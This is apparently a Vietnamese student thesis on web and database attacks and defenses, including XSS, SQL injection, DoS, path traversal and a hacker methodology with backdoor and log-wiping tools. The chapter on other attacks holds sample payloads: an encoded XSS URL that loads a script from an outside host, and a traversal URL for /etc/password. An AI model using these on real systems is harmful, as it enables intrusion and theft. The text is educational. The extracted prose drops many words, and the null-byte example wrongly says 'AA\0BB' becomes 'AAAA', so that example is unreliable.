Tấn công và phòng thủ, ứng dụng web database

81 1.4K 0
Tấn công và phòng thủ, ứng dụng web database

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Tấn công và phòng thủ, ứng dụng web database

Tấn công phòng thủ ,ứng dụng Web & Database Mục lục Mục lục .1 Mục lục hình vẽ Nhận xét giáo viên Giới thiệu PHẦN THỨ NHẤT 10 CƠ SỞ LÝ THUYẾT .10 Chương 1: 11 GIỚI THIỆU ỨNG DỤNG WEB & DATABASE 11 I Khái niệm ứng dụng Web 11 II.Mô tả hoạt động ứng dụng Web 14 Chương : 15 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database CÁC KHÁI NIỆM THUẬT NGỮ LIÊN QUAN .15 I:Hacker 15 II: HTTP Header 15 III: SESSION 15 IV: COOKIE 16 V: PROXY 16 Chương 3: 17 GIỚI THIỆU SƠ LƯỢC VỀ CÁC KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB 17 I: KIỂM SOÁT TRUY NHẬP WEB (WEB ACCESS CONTROL) 17 I.1 Thâm nhập qua cửa sau (BACK DOOR) 17 II: CHIẾM HỮU PHIÊN LÀM VIỆC (SESSION MANGEMENT) 17 II.1 Ấn định phiên làm việc (SESSION FIXATION) 17 II.2 Đánh cắp phiên làm việc (SESSION HIJACKING) 17 III: Lợi dụng lỗi việc kiểm tra nhập liệu (INPUT VALIDATION) 17 III.1 Kiểm tra hợp lệ phía trình duyệt (CLIENT-SIDE VALIDATION) 17 III.2 Tràn đệm ( BUFFER OVERFLOW) .17 III.3 Mã hóa URL (URL ENCODING) 18 III.4 Ký tự META( META CHARACTERS) .18 III.5 Vượt qua đường dẫn (PATH TRAVERSAL) .18 III.6 Chèn mã lệnh thực thi trình duyệt nạn nhân (CROSS-SITE SCRIPING) 18 III.7 Thêm câu lệnh hệ thống (OS COMMAND INJECTION) 18 III.8 Chèn câu truy vấn SQL (SQL INJECTION) 19 III.9 Ngôn ngữ phía máy chủ (SEVER SIDE INCLUDES) .19 III.10 Kí tự rỗng (NULL CHARACTERS) 19 III.11 Thao tác tham số truyền (PRAMETER MANIPULATION) .19 IV.Để lộ thông tin (INFORMATIONAL) 20 V Từ chối dịch vụ (DENIAL OF SERVICE (DOS)) 20 PHẦN THỨ HAI 21 CÁC KĨ THUẬT TẤN CÔNG VÀ 21 BẢO MẬT ỨNG DỤNG WEB &DATABASE 21 Chương 4: 22 THAO TÁC TRÊN THAM SỐ TRUYỀN .22 I THAO TÁC TRÊN URL .22 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database I.1 Khái niệm: 22 I.2 Một số biện pháp khắc phục .23 II THAO TÁC TRÊN BIẾN ẨN FORM 23 II.1 Khái niệm 23 II.2 Một số biện pháp khắc phục .23 III THAO TÁC TRÊN COOKIE 24 III.1 Khái niệm 24 III.2 Một số biện pháp khắc phục 24 IV THAO TÁC TRONG HTTP HEADER 25 IV.1 Khái niệm 25 IV.2 Một số biện pháp khắc phục 26 Chương 27 CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN 27 I KĨ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS) 28 II PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG 28 III TẤN CÔNG XSS BẰNG FLASH .29 V CÁCH PHÒNG CHỐNG 30 Chương 32 CHÈN CÂU TRUY VẤN SQL 32 I KHÁI NIỆM SQL INJECTION 33 II GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU 33 III CÁC CÁCH TẤN CÔNG 34 III.1 Kĩ thuật công SQL Injection .34 I.THAO TÁC TRÊN URL 35 I.1 KHÁI NIỆM 35 I.2 MỘT SỐ BIỆN PHÁP KHẮC PHỤC 36 II THAO TÁC TRÊN BIẾN ẨN FORM 36 II.1 KHÁI NIỆM 36 II.2 MỘT SỐ BIỆN PHÁP KHẮC PHỤC 37 III THAO TÁC TRÊN COOKIE 38 III.1 KHÁI NIỆM 38 III.2 MỘT SỐ BIỆN PHÁP KHẮC PHỤC 39 IV THAO TÁC TRONG HTTP HEADER 39 IV.1 KHÁI NIỆM 39 IV.2 MỘT SỐ BIỆN PHÁP KHẮC PHỤC 40 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Chương 5: 41 CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN 41 I.KỸ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS) 41 II.PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG .44 III.MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS 47 IV.TẤN CÔNG XSS BẰNG FLASH 48 V Cách phòng chống 50 Chương 6: 51 CHÈN CÂU TRUY VẤN SQL 51 I.KHÁI NIỆM SQL INJECTION 51 II GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU 52 III.CÁC CÁCH TẤN CÔNG 52 IV.CÁCH PHÒNG CHỐNG 60 Chương 7: Tràn đệm 61 I Khái niệm 61 II Cách phòng chống 65 Chương :Từ chối dịch vụ (Dos) .66 I.Khái niệm 66 II.Những khả bị công DOS 66 III.Các kỹ thuật công 67 IV.Biện pháp phòng chống 68 Chương :một số kỹ thuật công khác 69 I.Mã hóa URL (URL Encoding) 69 I.1 Khái niệm 69 I.2 Biện pháp phòng chống .70 II.Kiểu công vượt đường dẫn 70 II.1 Khái niệm 70 II.2 Một số biện pháp phòng chống 71 III.Tấn công dựa vào kí tự rỗng 71 III.1 Khái niệm 71 III.2 Một số biện pháp phòng chống 71 Chương 10: Tổng kết trình công Hacker .72 I Thu thập thông tin mức hạ tầng mục tiêu .72 Chương 11: Tổng kết biện pháp phòng chống 74 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database I.Với nhà quản trị mạng 75 II Với người sử dụng ứng dụng WEB 78 Kết luận .78 Tài liệu tham khảo 81 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Mục lục hình vẽ Hình : Kiến trúc ứng dụng Web Database Trang 11 Hình : Mô hình hoạt động ứng dụng Web Trang 12 Hình 3:Quá trình thực XSS Trang 44 Hình 4: Cách viết Action Scipt Flash Trang 49 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Nhận xét giáo viên Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Giới thiệu Ngày nay, Internet phổ biến rộng rãi, tổ chức, cá nhân có nhu cầu giới thiệu thông tin xa lộ thông tin thực phiên giao dịch trực tuyến Vấn đề nảy sinh phạm vi ứng dụng ứng dụng Web ngày mở rộng khả xuất lỗi bị công cao, trở thành đối tượng cho nhiều người công với nhiều mục đích khác Đôi khi, đơn giản để thử tài đùa bỡn với người khác Cùng với phát triển giới mạng ,các dịch vụ thương mại điện tử ngày phát triển Số lượng công Internet tăng dần theo cấp số nhân Trong đài báo ,các phương tiện thông tin đại chúng ngày nhắc nhiều tới khả truy nhập thông tin Internet , quan trọng thông tin người dùng tham gia vào giới mạng : ngày sinh,thẻ tín dụng, tài khoản ngân hàng ,Email … Như thời gian gần dịp cuối tháng 12 / 2010 báo điện tử Vietnamnet bị Hacker công ,thay đổi trang chủ ,đưa thông tin nhạy cảm báo lên mạng ,bị công DDOS Đó điều cảnh báo nói riêng nói chung với nguy hiểm An toàn thông tin Và giới vụ công bất hợp pháp nhằm vào máy tính Internet ,các máy tính tất công ty lớn AT&T ,IBM ,các trường đại học quan nhà nước ,các tổ chức quan ,nhà băng …Một số vụ công có quy mô khổng lồ ( có tới 100.000 máy tính bị công ) Hơn công phần tảng băng Phần lớn công không thông báo ,vì nhiều lý kể tới nỗi lo bị uy tín Người quản trị hệ thống không hay biết hệ thống bị tin tặc công Điển hình vào tháng 3/2011 phần mềm thương mại IBM bị Hacker phát lỗ hổng nghiêm trọng Với với trình duyệt Web có thông tin nhạy cảm (người dùng,tài khoản Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Admin …) Công nghệ thông tin ngày phát triển ,kéo theo công vào ứng dụng Web Database ngày tinh vi có tổ chức Mặt khác đòi hỏi nhà quản trị mạng cần phải cập nhập thường xuyên nguy xảy đến hệ thống ,kiến thức kinh nghiệm cần vận dụng triệt để nhằm tránh tổn thất không đáng có xảy Đề tài thực tập sâu vào vấn đề : “Tấn công phòng thủ ứng dụng Web Database “ Nhằm mục đích tìm hiểu phương pháp công ,và đề cách thức phòng thủ Giảm thiểu rủi ro xấu ảnh hưởng tới vấn đề An toàn thông tin hệ thống Đồng thời giới thiệu số công cụ quét lỗ hổng dành cho Coder ,admin phát nhanh mối nguy hiểm hệ thống Database ,Website Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database PHẦN THỨ NHẤT CƠ SỞ LÝ THUYẾT 10 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Một kiểu công cổ điển làm đầy đĩa cứng Đĩa cứng bị tràn sử dụng III.Các kỹ thuật công Tấn công từ chối dịch vụ loại hình công nhằm ngăn chặn người dùng hợp lệ sử dụng dịch vụ Các công thực nhằm vào thiết bị mạng bao gồm công vào thiết bị định tuyến, web, thư điện tử hệ thống DNS Tấn công từ chối dịch vụ có thẻ thực theo số cách định Có năm kiểu công sau đây: Nhằm tiêu tốn tài nguyên tính toán băng thông, dung lượng đĩa cứng thời gian xử lý Phá vỡ thông tin cấu thông tin định tuyến Phá vỡ trạng thái thông tin việc tự động reset lại phiên TCP Phá vỡ thành phần vật lý mạng máy tính Làm tắc nghẽn thông tin liên lạc có chủ đích người dùng nạn nhân dẫn đến việc liên lạc hai bên không thông suốt Một công từ chối dịch vụ bao gồm việc thực thi malware nhằm: • Làm tải lực xử lý, dẫn đến hệ thống thực thi công việc khác • Những lỗi gọi tức microcode máy tính • Những lỗi gọi tức chuỗi thị, dẫn đến máy tính rơi vào trạng thái hoạt động không ổn định bị 67 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database • Những lỗi khai thác hệ điều hành dẫn đến việc thiếu thốn tài nguyên bị thrashing VD: sử dụng tất lực có sẵn dẫn đến không công việc thực tế hoàn thành • Gây crash hệ thống • Tấn công từ chối dịch vụ iFrame: trang HTML gọi đến trang web với nhiều yêu cầu nhiều lần băng thông trang web bị hạn IV.Biện pháp phòng chống Kiểu công từ chối dịch vụ kiểu công gây nhiều khó khăn vấn đề bảo vệ điều tra tìm thủ phạm nhất, hầu hết hacker thay đổi địa IP máy nên khó xác định thủ phạm Để phòng chống khả khuyếch đại đường truyền, cần: • Huỷ khả broadcast router biên • Tăng kích thước hàng đợi kết nối kết quả: phòng tránh khả tràn hàng đợi qua nhiều kết nối, cách sử dụng nhiều tài nguyên • Giảm thời gian thiết lập kết nối • Dùng phần mềm phát phá hủy kiểu công DoS: Hầu hết hệ điều hành hỗ trợ khả phát phòng chống kiểu công lụt SYN Tuy nhiên có phần mềm có khả tránh kiểu công Ví dụ với Linux kernels 2.0.30 sau cài đặt tùy chọn gọi SYN Cookie, kernel có nhiệm vụ truy tìm lưu vết khả xảy kĩ thuật SYN Sau đó, kernel sử dụng giao thức mã hoá SYN cookie cho phép người dùng hợp lệ hệ thống tiếp tục kết nối đến hệ thống Với WindowNT 4.0 trở sau, sử dụng kĩ thuật backlog, hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng 68 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database đợi, hàng đợi không bị phá vỡ • Ứng dụng cho phép máy thiết lập số kết nối tối đa theo qui định tránh trường hợp hacker gửi lúc nhiều yêu câu gây tắc nghẽn Chương :một số kỹ thuật công khác I.Mã hóa URL (URL Encoding) I.1 Khái niệm Theo RFC 1738 định nghĩa URL RFC 2369 cho URIs, kí tự giới hạn sử dụng URL URI tập kí tự US-ASCII Theo RFC 1738, 2369 kí tự chữ số, kí tự đặc biệt “ $-_.+!*’() ” số kí tự dành riêng không bị mã hoá URL hay URIs Còn kí tự đặc biệt khác mã hóa khoảng trắng, < > ”…Sau trình chủ nhận liệu này, trình chủ tự động giải mã để thao tác bình thường Vậy hacker lợi dụng URL mã hóa Những nhà phát triển ứng dụng thiết kế ứng dụng để kiểm tra liệu nhập vào người dùng có hợp lệ hay không, kí tự đặc biệc < > thẻ script thường dùng kĩ thuật công XSS bị lọai bỏ Vậy để hợp thức hóa nội dung liệu cần nhập, hacker thay nhập trực tiếp kí tự đặc biệt vào ô nhập họ nhập kí tự mã hoá theo chuẩn RFC 1738, RFC 2369 Như cách đó, hacker dễ dàng vượt qua kiểm soát Ví dụ 10.I.1-1: http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22htt p%3a%2f%2fwww.yourserver.com%2fbadscript.js%22%3e%3c%2fscript%3e Biến mydata mang nội dung: 69 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database I.2 Biện pháp phòng chống • Tránh sử dụng phương thức GET dùng GET, liệu dễ dàng thêm vào URL Vì thế, sử dụng phương thức POST • Trong trường hợp URL bắt buộc sử dụng để chuyển liệu lên trình chủ, cần giới hạn kiểu liệu, nên kiểm tra liệu ứng dụng trước sử dụng • Không nên sử dụng ngôn ngữ máy khách để kiểm tra tính đắn liệu II.Kiểu công vượt đường dẫn II.1 Khái niệm Nhiều ứng dụng sử dụng tập tin hệ thống trình chủ “lớp trình bày” để hiển thị thông tin lưu trử tạm thời Những tập tin bao gồm tập tin hình ảnh , tập tin HTML, hay ứng dụng CGI Thư mục WWWROOT thư mục gốc ảo bên trình chủ, nơi mà truy xuất trình duyệt Ứng dụng lưu trữ thông tin bên bên ngòai WWW-ROOT Nếu ứng dụng không kiểm tra kí tự đặc biệt, thường sử dụng đường dẫn “/” ứng dụng có lỗ hổng cho kiểu công vượt đường dẫn Hacker yêu cầu trình chủ trả kết nội dung tập tin vật lí /etc/password… Tóm lại: Kiểu công dựa vào lỏng lẻo trình kiểm tra liệu URL, cookie, HTTP Header yêu cầu Lợi dụng quyền truy xuất tập tin ứng dụng, nhờ hacker xem file lưu trữ hệ thống Ví dụ 10.II.1-1: 70 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database http://maydich.com/show.asp?result= “dangnhapthanhcong.asp” hacker thay đổi tên tập tin cần truy xuất sau: http://maydich.com/show.asp?result= /etc/password hacker xem nội dung file password lưu trữ hệ thống II.2 Một số biện pháp phòng chống Việc phòng chống kiểu công vượt đường dẫn thử thách lớn cho nhà ứng dụng hệ thống phân tán Tuy nhiên, cách phòng chống tốt Ứng dụng cần kiểm tra việc truy xuất file trước xuất kết cho trình duyệt III.Tấn công dựa vào kí tự rỗng III.1 Khái niệm Nhiều ứng dụng Web thường sử dụng ngôn ngữ lập trình C, Java để tạo modul xử lý công việc thao tác liệu nhập vào từ người dùng Lợi dụng kí tự kết thúc chuỗi mà hacker thêm vào chuỗi nhập để đánh lừa ứng dụng Ví dụ 10.III.1-1: Giả sử hacker đưa vào chuỗi “AA\0BB” qua chương trình lập trình ngôn ngữ C, chuỗi bị cắt ngắn thành AAAA C xem \0 dấu hiệu kết thúc chuỗi Hacker lợi dụng điều để vượt qua khâu kiểm tra nội dung chuỗi III.2 Một số biện pháp phòng chống Cách để phòng chống trường hợp chấp nhận liệu hợp lệ Những kí tự “\” phải bị lọai bỏ trước ứng dụng sử dụng chúng 71 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Chương 10: Tổng kết trình công Hacker I Thu thập thông tin mức hạ tầng mục tiêu • Bước 1: FootPrinting (thu thập thông tin): Đây cách mà hacker làm muốn lấy lượng thông tin tối đa máy chủ/doanh nghiệp/người dùng, bao gồm chi tiết địa IP, Whois, DNS v.v - thông tin thức có liên quan đến mục tiêu Công cụ hỗ trợ: UseNet , search engines (công cụ tìm kiếm) , Edgar Any Unix client, http://www.networksolutions.com/whois, nslookup Is -d , Sam spade, http://www.arin.net/whois, dig • Bước 2: Scanning (Quét thăm dò): Phần lớn thông tin quan trọng từ server có từ bước , bao gồm quét cổng, xác định hệ điều hành, v.v để biết port server, nghe đường liệu Các công cụ: fping, icmpenum Ws_ping ProPack, nmap, SuperScan, fscan nmap, queso, siphon • Bước 3: Enumeration (liệt kê tìm lỗ hổng): Bước thứ ba tìm kiếm tài nguyên bảo vệ kém, hoạch tài khoản người dùng mà sử dụng để xâm nhập, bao gồm mật mặc định, script dịch vụ mặc định Rất nhiều người quản trị mạng mặc định, script dịch vụ mặc định Rất nhiều người quản trị mạng đến không sửa đổi lại giá trị Các công cụ phụ trợ: null sessions, DumpACL, sid2user, OnSite Admin showmount, NAT Legion banner grabbing với telnet, netcat, rpcinfo • Bước 4: Gaining access (Tìm cách xâm nhập): Bây hacker tìm cách truy cập vào mạng thông tin có ba bước Phương pháp sử dụng công vào lỗi tràn đệm, lấy giải mã file password, hay brute force (kiểm tra tất trường hợp) password 72 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Các công cụ: tcpdump, L0phtcrack readsmb, NAT, legion, tftp, pwdump2 (NT) ttdb, bind, IIS, HTR/ISM.DLL • Bước 5: Escalating privilege (Leo thang đặc quyền): Trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản đó, họ tìm cách kiểm soát toàn hệ thống Hacker tìm cách crack password admin, sử dụng lỗ hổng để leo thang đặc quyền John Riper hai chương trình crack password hay sử dụng Công cụ: L0phtcrack, Ic_messages, getadmin, sechole • Bước 6: Pilfering (Dùng file chứa pass bị sơ hở): Thêm lần máy tìm kiếm lại đựơc sử dụng để tìm phương pháp truy cập vào mạng Những file text chứa password hay chế không an toàn khác đích cho hacker Thông tin lấy từ bước đủ để ta định vị server điều khiển server Nếu bước không thành công, đến bước Công cụ hỗ trợ: rhost, LSA Secrets user data, configuration files, Registry • Bước 7: Covering Tracks (Xoá dấu vết) : Sau có thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá file log hệ điều hành làm cho người quản lý không nhận hệ thống bị xâm nhập có biết không tìm kẻ xâm nhập Xóa log Công cụ: Zap, Event log GUI, rootkits, file streaming • Bước 8: Creating Backdoors (Tạo cửa sau chuẩn bị cho lần xâm nhập dễ dàng hơn): Hacker để lại "Back Doors", tức chế cho phép hacker truy nhập trở lại đường bí mật tốn nhiều công sức, việc cài đặt Trojan hay tạo user (đối với tổ chức có nhiều user) Công cụ loại Trojan, keylog, creat rogue user accounts, schedule batch jobs, infect startup files, plant remote control services, install monitoring mechanisms, replace apps with Trojan Công cụ: members of wheel, administrators cron, At rc, Startup folder, registry 73 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database keys, netcat, remote.exe, VNC, BO2K, keystroke loggers, add acct to secadmin, mail aliases login, fpnwclnt.dll Chương 11: Tổng kết biện pháp phòng chống Phòng chống hacker nhiệm vụ riêng người lập trình 74 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Web mà cần có kết hợp, hỗ trợ người quản trị thân người dùng Thiếu sót yếu tố dẫn đến thông tin bị đánh cắp chí hacker điều khiển hệ thống mạng Vì thế, để bảo vệ hệ thống khỏi công hacker, luận văn trình bày theo vai trò: vai trò người quản trị mạng, vai trò người lập trình ứng dụng vai trò người dùng I.Với nhà quản trị mạng • Người quản trị hệ thống cần xác định rõ đối tượng quan trọng hệ thống cần bảo vệ; xác định rõ mức độ ưu tiên đối tượng Ví dụ đối tượng cần bảo vệ hệ thống là: Các máy chủ dịch vụ, router, điểm truy nhập hệ thống, chương trình ứng dụng, hệ quản trị CSDL, dịch vụ cung cấp • Cấu hình cho ứng dụng: Thận trọng việc cấu hình trình chủ số ứng dụng Trình chủ nên hay không cho phép thực thi câu lệnh SSI Ngoài phải thiết lập quyền cho ứng dụng chạy số quyền hạn định quản trị sở liệu ( không nên chạy quyền Admin) tránh trường hợp hacker lợi dụng chạy câu lệnh điều khiển hệ thống • Xác định nguy hệ thống xác định lỗ hổng bảo mật dịch vụ, ứng dụng hệ thống Việc xác định đắn nguy giúp người quản trị tránh công mạng, có biện pháp bảo vệ đắn cách thường xuyên cập nhật tin tức nhóm tin bảo mật từ nhà cung cấp phần mềm để phát lỗi phần mềm sử dụng Khi phát lỗi cần cập nhập phần mềm để tránh trường hợp hacker lợi dụng lỗ hổng có ứng dụng chưa sửa chữa phiên cũ • Nắm hoạt động phần mềm sử dụng, ý nghĩa file cấu hình 75 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database quan trọng (như etc/password), áp dụng biện pháp bảo vệ cấu sử dụng phương thức mã hóa hashing code (MD5) • Sử dụng vài công cụ phát hoạt động truy nhập không hợp lệ vào hệ thống logfile • Kiểm soát chặt chẽ quyền tài khoản hệ thống; không sử dụng quyền root trường hợp không cần thiết Đối với tài khoản không sử dụng hệ thống cần đổi mật hủy bỏ • Quản lý mật cách chặt chẽ o Buộc người sử dụng thay đổi mật thời gian định Hầu hết hệ thống hỗ trợ chế này; không thay đổi mật khẩu, tài khoản không giá trị hệ thống o Trong trường hợp người sử dụng bị mật khẩu, để cấp lại mật cần có thủ tục khác để xác thực người sử dụng o Cần giám sát theo dõi chặt chẽ chương trình đổi mật khẩu; thường mục tiêu để công II Với nhà thiết kế ứng dụng WEB • Đảm bảo liệu cung cấp từ người dùng hợp lệ: Tất liệu đưa vào ứng dụng phải đảm bảo kiểm tra kĩ, loại bỏ từ chối kí tự đặc biệt < > ‘ /… Tuy nhiên, không nên dùng ngôn ngữ trình khách (như JavaScript, VBScript…) để kiểm tra liệu nhập hợp lệ hacker lợi dụng để công kĩ thuật mã hoá URL hay vượt đường dẫn…Cách tốt kiểm tra ứng dụng liệu xuất để đảm bảo liệu xuất đến trình duyệt an toàn • Chứng thực người dùng: Nhiều ứng dụng quản lí phiên làm việc người dùng sessionID yếu cách quản lí phiên làm việc khiến cho hacker dễ dàng kiểm soát phiên làm việc người dùng kĩ thuật “quản lí phiên làm việc” Vì thế, phiên làm việc, ứng dụng cần hủy sau trình duyệt đóng kết nối 76 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database • Mã hóa liệu quan trọng: Những thông tin quan tên/mật khẩu, credit card,… cần mã hóa để tránh hacker lấy nội dung sử dụng chúng kĩ thuật XSS, SQL Injection Ngoài ra, trình truyền, kết hợp phương pháp SSL để tránh trường hợp mát thông tin đường truyền Hiện lĩnh vực mã hóa liệu, có nhiều phương pháp mã hóa mã hóa khóa bí mật, mã hóa khóa công khai,…nên tùy vào mức độ sử dụng tầm quan trọng mà ứng dụng chọn phương pháp mã hóa để đảm bảo liệu bảo mật Tuy nhiên, nhiều nhà ứng dụng lại mã hóa liệu kết hợp với vài thông tin ngày giờ, địa IP…khiến cho hacker dễ dàng dự đoán, nội dung liệu mã hóa ngắn khiến cho hacker sử dụng công cụ sẵn có để vét cạn khả xảy kĩ thuật công sessionID Hoặc phương pháp mã hóa cũ khiến cho hacker dễ dàng dùng công cụ giải mã “John and Ripper” Do đó, cần chọn thuật toán mã hóa với khóa để mã hóa cho liệu không dễ dự đoán bị vét cạn Ngoài ra, việc dùng SSL cần thiết để tránh trường hợp liệu bị đánh cắp đường truyền • Dùng phần mềm có sẵn: Hiện thị trường xuất phần mểm Appshield hoạt động proxy, nghĩa trung gian máy khách máy chủ, yêu cầu từ máy khách qua phần mềm này, phát yêu cầu có ẩn chứa khả công lên hệ thống, từ chối yêu cầu, không gửi lên máy chủ mà tự động hủy yêu cầu • Thiết lập quyền: Với ứng dụng, hệ thống nên cung cấp quyền hạn định cho ứng dụng đủ thực chức Không nên đưa quyền cao nhất, root hacker lợi dụng quyền root để thực thi câu lệnh hệ thống, kĩ thuật công SQL Injection, Buffer Overflow… 77 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database II Với người sử dụng ứng dụng WEB • Đưa lời cảnh báo cho người sử dụng Web rủi ro xảy ra, đặc biệt nên ý cho phép trình duyệt thực thi ngôn ngữ trình khách máy mình, khả lợi dụng ngôn ngữ rât lớn kĩ thuật XSS, sessionID • Sau sử dụng xong ứng dụng cần thoát khỏi hệ thống theo qui định ( Sigh-out Yahoo) để nội dung quan trọng lưu trữ cookie bị hủy bỏ, tránh khả hacker tiếp tục dùng session ID tồn để đăng nhập vào hệ thống hợp lệ • Quản lý tài khoản: Người sử dụng cần nhận thức vai trò quan trọng việc bảo vệ tài khoản Các hoạt động quản lý tài khoản bao gồm việc bảo vệ mật khẩu, thay đổi mật định kỳ, đăng ký thời điểm, Sử dụng phần mềm bảo vệ máy trạm người sử dụng, log out khỏi hệ thống sau thời gian time-out o Phát tài khoản sử dụng trái phép: Người dùng cần huấn luyện cách phát tài khoản sử dụng trái phép Người sử dụng cần thường xuyên kiểm tra hoạt động để đảm bảo người khác lợi dụng tài khoản thực hành động khác Kết luận Trong khoảng vài năm trở lại đây, số lượng lỗ hổng bảo mật trình ứng dụng Web công bố tăng lên cách đáng kể,cùng với phát triển mạnh công nghệ thông tin nói chung ứng dụng Web nói riêng 78 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Những người làm bảo mật thường quan tâm đến độ bảo mật mạng hệ điều hành quan tâm nhiều đến bảo mật ứng dụng chạy máy chủ web Mặc dù có nhiều lỗ hổng bảo mật ứng dụng web, chi phí cho việc bảo mật thông tin không đưa vào ngân sách chí không xem xét suốt trình phát triển dự án Có báo viết chủ đề tạp chí BYTE Aleksey Lukatsky, Giám đốc phát triển kinh doanh công ty Cisco System: “Tác giả xem xét số lượng lớn website công ty thiết kế web, bao gồm công ty tiếng, cung cấp dịch vụ thiết kế web đắt tiền Nhưng thật đáng ngạc nhiên không số công ty đề cập đến khái niệm “website bảo mật” hồ sơ họ Hơn nữa, mẫu hợp đồng không chứa điều khoản vấn đề bảo mật… Có phải cỏi công ty thiết kế dụng ý không muốn động chạm vào khoảng tối lĩnh vực công nghệ thông tin, nơi mà có nhiều điều ngạc nhiên? Thật không may bắt buộc phải thừa nhận Tôi cố gắng minh họa chủ đề dựa kinh nghiệm từ việc tham gia vào số lượng lớn dự án phát triển web…” Đa số ứng dụng web bị lỗi mà phương cách phòng chống mạng thông thường không bảo vệ Lỗi lỗ hổng mã nguồn ứng dụng web gây hậu nghiêm trọng lộ liệu nhạy cảm, gây tổn thương đến toàn hệ thống hạ tầng CNTT Sự cố bảo mật ứng dụng web ảnh hưởng đến danh tiếng công ty, mát mặt tài chính, ảnh hưởng đến uy tín với khách hàng vấn đề liên quan đến ràng buộc pháp lý 79 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database Khi tổ chức triển khai trực tuyến ứng dụng web, điều đồng nghĩa với việc cho phép có kết nối Internet truy cập vào ứng dụng qua giao thức HTTP Những công nằm truy cập HTTP có khả vượt qua tường lửa, hệ thống lọc tầng mạng, lớp bảo vệ hệ thống, hệ thống phát xâm nhập Những thiết bị phát công mã công nằm gói giao thức HTTP hợp lệ Ngay trang Web có mức độ bảo mật cao sử dụng SSL cho phép tất liệu qua mà không kiểm tra tính hợp lệ liệu Điều có nghĩa bảo mật ứng dụng Web nhân tố quan trọng nằm hệ thống phòng thủ ngọai vi, với tường lửa thiết bị bảo mật khác Sau vài lỗ hổng bảo mật thường gặp nhất: • Cross Site Scripting • SQL-injection • PHP-injection • HTTP Response Splitting • HTML code injection • File Inclusion • Directory Traversal • … Nhận biết thấy tầm quan trọng Database với an toàn thông tin Đề tài thực tập nhóm em cố gắng khai thác sâu cách công ,và đưa giải pháp tối ưu để hạn chế rủi ro không đáng có xảy Đồng thời 80 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công phòng thủ ,ứng dụng Web & Database củng cố thêm kiến thức thực tế ,tạo cho khả ứng sử với tình với hệ thống Tài liệu tham khảo • Hacking Exposed, Stuart McClure, Joel Scambray, George Kurtz • RFC2617, J.Franks, P Hallam-Baker, J.Hostetler, S Lawrence, P Leach, A Luotonen, L Stewart – 06/1999 • http://www.sqlsecurity.com/ • http://www.owasp.org/ • http://www.codeproject.com/ • http://www.microsoft.com/technet/security/ • http://www.google.com/ 81 Giáo viên hướng dẫn : Trần Thị Xuyên [...].. .Tấn công và phòng thủ ,ứng dụng Web & Database Chương 1: GIỚI THIỆU ỨNG DỤNG WEB & DATABASE Luận văn được thực hiện nhằm tìm hiểu về các kĩ thuật tấn công trang Web & Database và đề ra cách phòng chống Do đó, trong chương đầu tiên luận văn sẽ giới thiệu sơ lược một số khái niệm cơ bản và đây chính là nền tảng để xây dựng nội dung cho những phần sau I Khái niệm ứng dụng Web Ứng dụng Web là một ứng dụng. .. web thường có kiến trúc gồm: 11 Giáo viên hướng dẫn : Trần Thị Xuyên Tấn công và phòng thủ ,ứng dụng Web & Database Hình 1 : Kiến trúc ứng dụng Web và Database • Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu cho người dùng, ngoài ra còn có thể có thêm các ứng dụng tạo bố cục cho trang web • Lớp ứng dụng: là nơi xử lý của ứng dụng Web Nó sẽ xử lý thông tin người dùng yêu cầu, đưa ra quyết định, gửi... người sử dụng cần giao tiếp 16 Giáo viên 